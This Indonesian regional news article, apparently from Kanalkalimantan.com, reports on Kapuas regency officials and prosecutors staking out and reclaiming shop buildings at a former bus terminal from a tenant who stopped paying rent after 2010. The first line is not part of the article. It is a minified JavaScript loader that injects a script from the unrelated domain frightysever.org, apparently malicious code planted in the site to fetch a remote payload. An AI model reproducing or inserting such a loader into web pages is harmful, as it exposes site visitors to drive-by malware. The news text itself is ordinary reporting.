(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

BKAD Kapuas Pasang Patok dan Plang Pengamanan Aset Daerah


KANALKALIMANTAN.COM, KUALA KAPUAS – Pemerintah Kabupaten (Pemkab) melalui Badan Keuangan dan Aset Daerah (BKAD) Kapuas bersama Kejaksaan Negeri (Kejari) Kapuas memasang plang kepemilikan untuk mengamankan aset daerah di eks Terminal Panunjung Tarung, Jalan Jenderal Ahmad Yani, Kota Kuala Kapuas.

Kegiatan pemasangan patok oleh BKAD Kapuas dihadiri Asisten I Setda Kapuas, Bidang Pemerintahan dan Kesejahteraan Rakyat Romulus, Kejari Kapuas, Kepala BKAD Hj Marlina Kasyfiatie didampingi Kabid Aset Eko Tejono, Kasubid Aset Aris, Inspektorat, Kepala Bapenda Yaya, Kadis Didagperinkop Dan UKM Apendi, serta Sekretaris Satpol PP Mises dan Stakeholder terkait.

Baca juga: Jumran Dipindahkan Diam-diam, Tim Kuasa Hukum Juwita Mengadu ke Kasal

Asisten 1 Bidang Pemerintahan dan Kesejahteraan Rakyat Romolus mengatakan, pemasangan plang dilakukan sebagai tindak lanjut dari proses serah terima bangunan Ruko oleh penyewa sebelumnya.

“Serah terima telah dilakukan melalui BKAD bersama Kejaksaan Negeri Kapuas,” ujar Romolus, Jumat (18/7/2025) siang.

Baca juga: Gandeng BPJS Banjarmasin Pemkab Banjar Evaluasi Pengelolaan Kerjasama Fasilitas Kesehatan BPJS

Menurutnya, pemasangan patok merupakan proses terakhir yang dimana sudah berbagai cara jalur dan rute yang telah dilalui.

“Jadi pemasangan patok sudah melalui proses yang panjang dan mediasi yang melibatkan pihak pemerintah daerah, Kejaksaan yang telah memiliki payung hukum,” ujarnya.

Dia berharap kedepan masyarakat yang merasa menikmati dan melakukan kegiatan aktivitas diatas hak milik pemerintah daerah menyadari bahwa itu merupakan aset pemerintah.

Baca juga: Bupati Kapuas Hadiri Peringatan HAN dan Harganas 2025

“Kami harapkan, masyarakat bisa mengembalikan aset daerah melalui proses hukum yang berlaku,” ujarnya.

Kepala BKAD Kabupaten Kapuas Hj Marlina Kasyfiatie mengatakan, pihaknya sudah beberapa kali mengadakan rapat didampingi Jejaksaan dan pihak penyewa.

“Dari awal tahun 2005 sampai dengan 2025, hanya melaksanakan pembayaran sampai 2010,” ujarnya.

Baca juga: Bawa Meja Sendiri, Murid SDN 2 Laura Duduk Lesehan Belajar di Aula yang Disekat

Sesuai dengan MoU, kata dia, apabila tiga tahun berturut-turut tidak melakukan kewajiban, maka pemerintah daerah berhak mengambil alih kembali aset tersebut.

“Setelah melakukan berbagai upaya, pihaknya bersama Kejari kita sudah ambil alih sejak hari ini,” ujarnya.
Kejaksaan Negeri Kapuas, HRE Sianturi berharap Pemerintah Kabupaten Kapuas dapat bersinergi lagi dengan pihaknya untuk melakukan penyelamatan aset.

Sementara itu, Kepala Disperindagkop UKM Kapuas Apendi, mengatakan akan menjalankan fungsi untuk melakukan pungutan retribusi, pembinaan dari penyewa aset yang akan digunakan. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Muhammad Andi

Recent Posts

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

5 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

5 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

6 jam ago

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

7 jam ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

7 jam ago

Pemkab Banjar Raih Penghargaan dari MenPANRB

KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More

7 jam ago

This website uses cookies.